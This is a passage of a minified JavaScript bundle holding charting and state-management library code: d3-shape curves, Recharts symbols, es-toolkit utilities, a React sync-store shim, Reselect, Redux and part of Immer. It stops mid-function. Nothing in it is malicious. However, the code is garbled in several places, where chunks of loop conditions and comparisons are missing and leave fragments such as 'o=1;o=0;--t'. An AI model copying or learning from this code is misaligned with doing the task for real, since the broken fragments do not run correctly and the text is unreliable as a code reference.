2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:Mc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function x_(e){return new v5(e)}function g5(e){this._context=e}g5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:Mc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function v_(e){return new g5(e)}function y5(e){this._context=e}y5.prototype={areaStart:Tc,areaEnd:Tc,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function g_(e){return new y5(e)}function _g(e){return e<0?-1:1}function Og(e,t,n){var r=e._x1-e._x0,i=t-e._x1,a=(e._y1-e._y0)/(r||i<0&&-0),o=(n-e._y1)/(i||r<0&&-0),l=(a*i+o*r)/(r+i);return(_g(a)+_g(o))*Math.min(Math.abs(a),Math.abs(o),.5*Math.abs(l))||0}function Tg(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function If(e,t,n){var r=e._x0,i=e._y0,a=e._x1,o=e._y1,l=(a-r)/3;e._context.bezierCurveTo(r+l,i+l*t,a-l,o-l*n,a,o)}function Lc(e){this._context=e}Lc.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:If(this,this._t0,Tg(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,If(this,Tg(this,n=Og(this,e,t)),n);break;default:If(this,this._t0,n=Og(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function b5(e){this._context=new w5(e)}(b5.prototype=Object.create(Lc.prototype)).point=function(e,t){Lc.prototype.point.call(this,t,e)};function w5(e){this._context=e}w5.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,a){this._context.bezierCurveTo(t,e,r,n,a,i)}};function y_(e){return new Lc(e)}function b_(e){return new b5(e)}function j5(e){this._context=e}j5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=Mg(e),i=Mg(t),a=0,o=1;o=0;--t)i[t]=(o[t]-i[t+1])/a[t];for(a[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function j_(e){return new Zu(e,.5)}function k_(e){return new Zu(e,0)}function N_(e){return new Zu(e,1)}function Wi(e,t){if((o=e.length)>1)for(var n=1,r,i,a=e[t[0]],o,l=a.length;n=0;)n[t]=t;return n}function S_(e,t){return e[t]}function z_(e){const t=[];return t.key=e,t}function C_(){var e=Pe([]),t=hm,n=Wi,r=S_;function i(a){var o=Array.from(e.apply(this,arguments),z_),l,c=o.length,u=-1,d;for(const f of a)for(l=0,++u;l0){for(var n,r,i=0,a=e[0].length,o;i0){for(var n=0,r=e[t[0]],i,a=r.length;n0)||!((a=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,a,o;r1&&arguments[1]!==void 0?arguments[1]:O_,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function Ke(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var l=n[o-1];return typeof l=="string"?i+l+a:l!==void 0?i+Ur(l)+a:i+a},"")}var It=e=>e===0?0:e>0?1:-1,Gn=e=>typeof e=="number"&&e!=+e,Ui=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,ue=e=>(typeof e=="number"||e instanceof Number)&&!Gn(e),hr=e=>ue(e)||typeof e=="string",T_=0,ho=e=>{var t=++T_;return"".concat(e||"").concat(t)},Zt=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!ue(t)&&typeof t!="string")return r;var a;if(Ui(t)){if(n==null)return r;var o=t.indexOf("%");a=n*parseFloat(t.slice(0,o))/100}else a=+t;return Gn(a)&&(a=r),i&&n!=null&&a>n&&(a=n),a},S5=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):mo(r,t))===n)}var wt=e=>e===null||typeof e>"u",Io=e=>wt(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function Un(e){return e!=null}function Za(){}var M_=["type","size","sizeType"];function xm(){return xm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(Io(e));return C5[t]||cx},W_=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*B_;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},U_=(e,t)=>{C5["symbol".concat(Io(e))]=t},P5=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=R_(e,M_),a=Ig(Ig({},i),{},{type:t,size:n,sizeType:r}),o="circle";typeof t=="string"&&(o=t);var l=()=>{var m=F_(o),h=m_().type(m).size(W_(n,r,o)),x=h();if(x!==null)return x},{className:c,cx:u,cy:d}=a,f=At(a);return ue(u)&&ue(d)&&ue(n)?p.createElement("path",xm({},f,{className:Ve("recharts-symbols",c),transform:"translate(".concat(u,", ").concat(d,")"),d:l()})):null};P5.registerSymbol=U_;var E5=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,dx=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(p.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{sx(i)&&(r[i]=a=>n[i](n,a))}),r},V_=(e,t,n)=>r=>(e(t,n,r),null),H_=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var a=e[i];sx(i)&&typeof a=="function"&&(r||(r={}),r[i]=V_(a,t,n))}),r};function Dg(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function K_(e){for(var t=1;t(o[l]===void 0&&r[l]!==void 0&&(o[l]=r[l]),o),n);return a}var A5={},_5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let a=0;a=0}e.isLength=t})(M5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=M5;function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(td);var L5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(L5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=td,n=L5;function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})(T5);var I5={},D5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Qu;function n(r){return function(i){return t.get(i,r)}}e.property=n})(D5);var R5={},px={},$5={},mx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})(mx);var hx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})(hx);var xx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.isEqualsSameValueZero=t})(xx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=mx,n=hx,r=xx;function i(d,f,m){return typeof m!="function"?i(d,f,()=>{}):a(d,f,function h(x,g,y,v,b,w){const j=m(x,g,y,v,b,w);return j!==void 0?!!j:a(x,g,h,w)},new Map)}function a(d,f,m,h){if(f===d)return!0;switch(typeof f){case"object":return o(d,f,m,h);case"function":return Object.keys(f).length>0?a(d,{...f},m,h):r.isEqualsSameValueZero(d,f);default:return t.isObject(d)?typeof f=="string"?f==="":!0:r.isEqualsSameValueZero(d,f)}}function o(d,f,m,h){if(f==null)return!0;if(Array.isArray(f))return c(d,f,m,h);if(f instanceof Map)return l(d,f,m,h);if(f instanceof Set)return u(d,f,m,h);const x=Object.keys(f);if(d==null||n.isPrimitive(d))return x.length===0;if(x.length===0)return!0;if(h!=null&&h.has(f))return h.get(f)===d;h==null||h.set(f,d);try{for(let g=0;g{})}e.isMatch=n})(px);var B5={},vx={},F5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(F5);var nd={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(nd);var gx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",a="[object Arguments]",o="[object Symbol]",l="[object Date]",c="[object Map]",u="[object Set]",d="[object Array]",f="[object Function]",m="[object ArrayBuffer]",h="[object Object]",x="[object Error]",g="[object DataView]",y="[object Uint8Array]",v="[object Uint8ClampedArray]",b="[object Uint16Array]",w="[object Uint32Array]",j="[object BigUint64Array]",k="[object Int8Array]",S="[object Int16Array]",N="[object Int32Array]",z="[object BigInt64Array]",O="[object Float32Array]",_="[object Float64Array]";e.argumentsTag=a,e.arrayBufferTag=m,e.arrayTag=d,e.bigInt64ArrayTag=z,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=g,e.dateTag=l,e.errorTag=x,e.float32ArrayTag=O,e.float64ArrayTag=_,e.functionTag=f,e.int16ArrayTag=S,e.int32ArrayTag=N,e.int8ArrayTag=k,e.mapTag=c,e.numberTag=r,e.objectTag=h,e.regexpTag=t,e.setTag=u,e.stringTag=n,e.symbolTag=o,e.uint16ArrayTag=b,e.uint32ArrayTag=w,e.uint8ArrayTag=y,e.uint8ClampedArrayTag=v})(gx);var W5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(W5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=F5,n=nd,r=gx,i=hx,a=W5;function o(d,f){return l(d,void 0,d,new Map,f)}function l(d,f,m,h=new Map,x=void 0){const g=x==null?void 0:x(d,f,m,h);if(g!==void 0)return g;if(i.isPrimitive(d))return d;if(h.has(d))return h.get(d);if(Array.isArray(d)){const y=new Array(d.length);h.set(d,y);for(let v=0;vt.isMatch(a,i)}e.matches=r})(R5);var U5={},V5={},H5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=vx,n=nd,r=gx;function i(a,o){return t.cloneDeepWith(a,(l,c,u,d)=>{const f=o==null?void 0:o(l,c,u,d);if(f!==void 0)return f;if(typeof a=="object"){if(n.getTag(a)===r.objectTag&&typeof a.constructor!="function"){const m={};return d.set(a,m),t.copyProperties(m,a,u,d),m}switch(Object.prototype.toString.call(a)){case r.numberTag:case r.stringTag:case r.booleanTag:{const m=new a.constructor(a==null?void 0:a.valueOf());return t.copyProperties(m,a),m}case r.argumentsTag:{const m={};return t.copyProperties(m,a),m.length=a.length,m[Symbol.iterator]=a[Symbol.iterator],m}default:return}}})}e.cloneDeepWith=i})(H5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=H5;function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(V5);var K5={},yx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&r"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?aO:iO;Z5.useSyncExternalStore=Ra.useSyncExternalStore!==void 0?Ra.useSyncExternalStore:sO;X5.exports=Z5;var oO=X5.exports;/** + * @license React + * use-sync-external-store-shim/with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var rd=p,lO=oO;function cO(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var uO=typeof Object.is=="function"?Object.is:cO,dO=lO.useSyncExternalStore,fO=rd.useRef,pO=rd.useEffect,mO=rd.useMemo,hO=rd.useDebugValue;G5.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=fO(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=mO(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,uO(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=dO(e,a[0],a[1]);return pO(function(){o.hasValue=!0,o.value=l},[l]),hO(l),l};Y5.exports=G5;var xO=Y5.exports,bx=p.createContext(null),vO=e=>e,Qe=()=>{var e=p.useContext(bx);return e?e.store.dispatch:vO},Ql=()=>{},gO=()=>Ql,yO=(e,t)=>e===t;function pe(e){var t=p.useContext(bx),n=p.useMemo(()=>t?r=>{if(r!=null)return e(r)}:Ql,[t,e]);return xO.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:gO,t?t.store.getState:Ql,t?t.store.getState:Ql,n,yO)}function bO(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function wO(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function jO(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var $g=e=>Array.isArray(e)?e:[e];function kO(e){const t=Array.isArray(e[0])?e[0]:e;return jO(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function NO(e,t){const n=[],{length:r}=e;for(let i=0;i{n=gl(),o.resetResultsCount()},o.resultsCount=()=>a,o.resetResultsCount=()=>{a=0},o}function PO(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let a=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),bO(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:m=[],argsMemoize:h=Q5,argsMemoizeOptions:x=[]}=d,g=$g(m),y=$g(x),v=kO(i),b=f(function(){return a++,u.apply(null,arguments)},...g),w=h(function(){o++;const k=NO(v,arguments);return l=b.apply(null,k),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>a,resetRecomputations:()=>{a=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var L=PO(Q5),EO=Object.assign((e,t=L)=>{wO(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(a=>e[a]);return t(r,(...a)=>a.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>EO}),J5={},ek={},tk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,a)=>{if(r!==i){const o=t(r),l=t(i);if(o===l&&o===0){if(ri)return a==="desc"?-1:1}return a==="desc"?l-o:o-l}return 0};e.compareValues=n})(tk);var nk={},wx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(wx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=wx,n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(a,o){return Array.isArray(a)?!1:typeof a=="number"||typeof a=="boolean"||a==null||t.isSymbol(a)?!0:typeof a=="string"&&(r.test(a)||!n.test(a))||o!=null&&Object.hasOwn(o,a)}e.isKey=i})(nk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=tk,n=nk,r=ed;function i(a,o,l,c){if(a==null)return[];l=c?void 0:l,Array.isArray(a)||(a=Object.values(a)),Array.isArray(o)||(o=o==null?[null]:[o]),o.length===0&&(o=[null]),Array.isArray(l)||(l=l==null?[]:[l]),l=l.map(h=>String(h));const u=(h,x)=>{let g=h;for(let y=0;yx==null||h==null?x:typeof h=="object"&&"key"in h?Object.hasOwn(x,h.key)?x[h.key]:u(x,h.path):typeof h=="function"?h(x):Array.isArray(h)?u(x,h):typeof x=="object"?x[h]:x,f=o.map(h=>(Array.isArray(h)&&h.length===1&&(h=h[0]),h==null||typeof h=="function"||Array.isArray(h)||n.isKey(h)?h:{key:h,path:r.toPath(h)}));return a.map(h=>({original:h,criteria:f.map(x=>d(x,h))})).slice().sort((h,x)=>{for(let g=0;gh.original)}e.orderBy=i})(ek);var rk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],a=Math.floor(r),o=(l,c)=>{for(let u=0;u1&&r.isIterateeCall(a,o[0],o[1])?o=[]:l>2&&r.isIterateeCall(o[0],o[1],o[2])&&(o=[o[0]]),t.orderBy(a,n.flatten(o),["asc"])}e.sortBy=i})(J5);var AO=J5.sortBy;const id=jr(AO);var ik=e=>e.legend.settings,_O=e=>e.legend.size,OO=e=>e.legend.payload;L([OO,ik],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?id(r,n):r});var yl=1;function TO(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=p.useState({height:0,left:0,top:0,width:0}),r=p.useCallback(i=>{if(i!=null){var a=i.getBoundingClientRect(),o={height:a.height,left:a.left,top:a.top,width:a.width};(Math.abs(o.height-t.height)>yl||Math.abs(o.left-t.left)>yl||Math.abs(o.top-t.top)>yl||Math.abs(o.width-t.width)>yl)&&n({height:o.height,left:o.left,top:o.top,width:o.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function ht(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var MO=typeof Symbol=="function"&&Symbol.observable||"@@observable",Fg=MO,Rf=()=>Math.random().toString(36).substring(7).split("").join("."),LO={INIT:`@@redux/INIT${Rf()}`,REPLACE:`@@redux/REPLACE${Rf()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${Rf()}`},Ic=LO;function kx(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function ak(e,t,n){if(typeof e!="function")throw new Error(ht(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(ht(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(ht(1));return n(ak)(e,t)}let r=e,i=t,a=new Map,o=a,l=0,c=!1;function u(){o===a&&(o=new Map,a.forEach((y,v)=>{o.set(v,y)}))}function d(){if(c)throw new Error(ht(3));return i}function f(y){if(typeof y!="function")throw new Error(ht(4));if(c)throw new Error(ht(5));let v=!0;u();const b=l++;return o.set(b,y),function(){if(v){if(c)throw new Error(ht(6));v=!1,u(),o.delete(b),a=null}}}function m(y){if(!kx(y))throw new Error(ht(7));if(typeof y.type>"u")throw new Error(ht(8));if(typeof y.type!="string")throw new Error(ht(17));if(c)throw new Error(ht(9));try{c=!0,i=r(i,y)}finally{c=!1}return(a=o).forEach(b=>{b()}),y}function h(y){if(typeof y!="function")throw new Error(ht(10));r=y,m({type:Ic.REPLACE})}function x(){const y=f;return{subscribe(v){if(typeof v!="object"||v===null)throw new Error(ht(11));function b(){const j=v;j.next&&j.next(d())}return b(),{unsubscribe:y(b)}},[Fg](){return this}}}return m({type:Ic.INIT}),{dispatch:m,subscribe:f,getState:d,replaceReducer:h,[Fg]:x}}function IO(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:Ic.INIT})>"u")throw new Error(ht(12));if(typeof n(void 0,{type:Ic.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(ht(13))})}function sk(e){const t=Object.keys(e),n={};for(let a=0;a"u")throw l&&l.type,new Error(ht(14));u[f]=x,c=c||x!==h}return c=c||r.length!==Object.keys(o).length,c?u:o}}function Dc(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function DO(...e){return t=>(n,r)=>{const i=t(n,r);let a=()=>{throw new Error(ht(15))};const o={getState:i.getState,dispatch:(c,...u)=>a(c,...u)},l=e.map(c=>c(o));return a=Dc(...l)(i.dispatch),{...i,dispatch:a}}}function ok(e){return kx(e)&&"type"in e&&typeof e.type=="string"}var lk=Symbol.for("immer-nothing"),Wg=Symbol.for("immer-draftable"),_t=Symbol.for("immer-state");function zn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Gt=Object,$a=Gt.getPrototypeOf,Rc="constructor",ad="prototype",vm="configurable",$c="enumerable",Jl="writable",xo="value",xr=e=>!!e&&!!e[_t];function Mn(e){var t;return e?ck(e)||od(e)||!!e[Wg]||!!((t=e[Rc])!=null&&t[Wg])||ld(e)||cd(e):!1}var RO=Gt[ad][Rc].toString(),Ug=new WeakMap;function ck(e){if(!e||!Nx(e))return!1;const t=$a(e);if(t===null||t===Gt[ad])return!0;const n=Gt.hasOwnProperty.call(t,Rc)&&t[Rc];if(n===Object)return!0;if(!aa(n))return!1;let r=Ug.get(n);return r===void 0&&(r=Function.toString.call(n),Ug.set(n,r)),r===RO}function sd(e,t,n=!0){Do(e)===0?(n?Reflect.ownKeys(e):Gt.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Do(e){const t=e[_t];return t?t.type_:od(e)?1:ld(e)?2:cd(e)?3:0}var Vg=(e,t,n=Do(e))=>n===2?e.has(t):Gt[ad].hasOwnProperty.call(e,t),gm=(e,t,n=Do(e))=>n===2?e.get(t):e[t],Bc=(e,t,n,r=Do(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function $O(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var od=Array.isArray,ld=e=>e instanceof Map,cd=e=>e instanceof Set,Nx=e=>typeof e=="object",aa=e=>typeof e=="function",$f=e=>typeof e=="boolean";function BO(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var rr=e=>e.copy_||e.base_,Sx=e=>e.modified_?e.copy_:e.base_;function ym(e,t){if(ld(e))return new Map(e);if(cd(e))return new Set(e);if(od(e))return Array[ad].slice.call(e);const n=ck(e);if(t===!0||t==="class_only"&&!n){const r=Gt.getOwnPropertyDescriptors(e);delete r[_t];let i=Reflect.ownKeys(r);for(let a=0;a1&&Gt.defineProperties(e,{set:bl,add:bl,clear:bl,delete:bl}),Gt.freeze(e),t&&sd(e,(n,r)=>{zx(r,!0)},!1)),e}function FO(){zn(2)}var bl={[xo]:FO};function ud(e){return e===null||!Nx(e)?!0:Gt.isFrozen(e)}var Fc="MapSet",bm="Patches",Hg="ArrayMethods",uk={};function Vi(e){const t=uk[e];return t||zn(0,e),t}var Kg=e=>!!uk[e],vo,dk=()=>vo,WO=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:Kg(Fc)?Vi(Fc):void 0,arrayMethodsPlugin_:Kg(Hg)?Vi(Hg):void 0});function qg(e,t){t&&(e.patchPlugin_=Vi(bm),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function wm(e){jm(e),e.drafts_.forEach(UO),e.drafts_=null}function jm(e){e===vo&&(vo=e.parent_)}var Yg=e=>vo=WO(vo,e);function UO(e){const t=e[_t];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Gg(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[_t].modified_&&(wm(t),zn(4)),Mn(e)&&(e=Xg(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[_t].base_,e,t)}else e=Xg(t,n);return VO(t,e,!0),wm(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==lk?e:void 0}function Xg(e,t){if(ud(t))return t;const n=t[_t];if(!n)return Wc(t,e.handledSet_,e);if(!dd(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);mk(n,e)}return n.copy_}function VO(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&zx(t,n)}function fk(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var dd=(e,t)=>e.scope_===t,HO=[];function pk(e,t,n,r){const i=rr(e),a=e.type_;if(r!==void 0&&gm(i,r,a)===t){Bc(i,r,n,a);return}if(!e.draftLocations_){const l=e.draftLocations_=new Map;sd(i,(c,u)=>{if(xr(u)){const d=l.get(u)||[];d.push(c),l.set(u,d)}})}const o=e.draftLocations_.get(t)??HO;for(const l of o)Bc(i,l,n,a)}function KO(e,t,n){e.callbacks_.push(function(i){var l;const a=t;if(!a||!dd(a,i))return;(l=i.mapSetPlugin_)==null||l.fixSetContents(a);const o=Sx(a);pk(e,a.draft_??a,o,n),mk(a,i)})}function mk(e,t){var r;if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(((r=e.assigned_)==null?void 0:r.size)??0)>0)){const{patchPlugin_:i}=t;if(i){const a=i.getPath(e);a&&i.generatePatches_(e,a,t)}fk(e)}}function qO(e,t,n){const{scope_:r}=e;if(xr(n)){const i=n[_t];dd(i,r)&&i.callbacks_.push(function(){ec(e);const o=Sx(i);pk(e,n,o,t)})}else Mn(n)&&e.callbacks_.push(function(){const a=rr(e);e.type_===3?a.has(n)&&Wc(n,r.handledSet_,r):gm(a,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&Wc(gm(e.copy_,t,e.type_),r.handledSet_,r)})}function Wc(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||xr(e)||t.has(e)||!Mn(e)||ud(e)||(t.add(e),sd(e,(r,i)=>{if(xr(i)){const a=i[_t];if(dd(a,n)){const o=Sx(a);Bc(e,r,o,e.type_),fk(a)}}else Mn(i)&&Wc(i,t,n)})),e}function YO(e,t){const n=od(e),r={type_:n?1:0,scope_:t?t.scope_:dk(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,a=Uc;n&&(i=[r],a=go);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,[l,r]}var Uc={get(e,t){if(t===_t)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n!=null&&n.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=rr(e);if(!Vg(i,t,e.type_))return GO(e,i,t);const 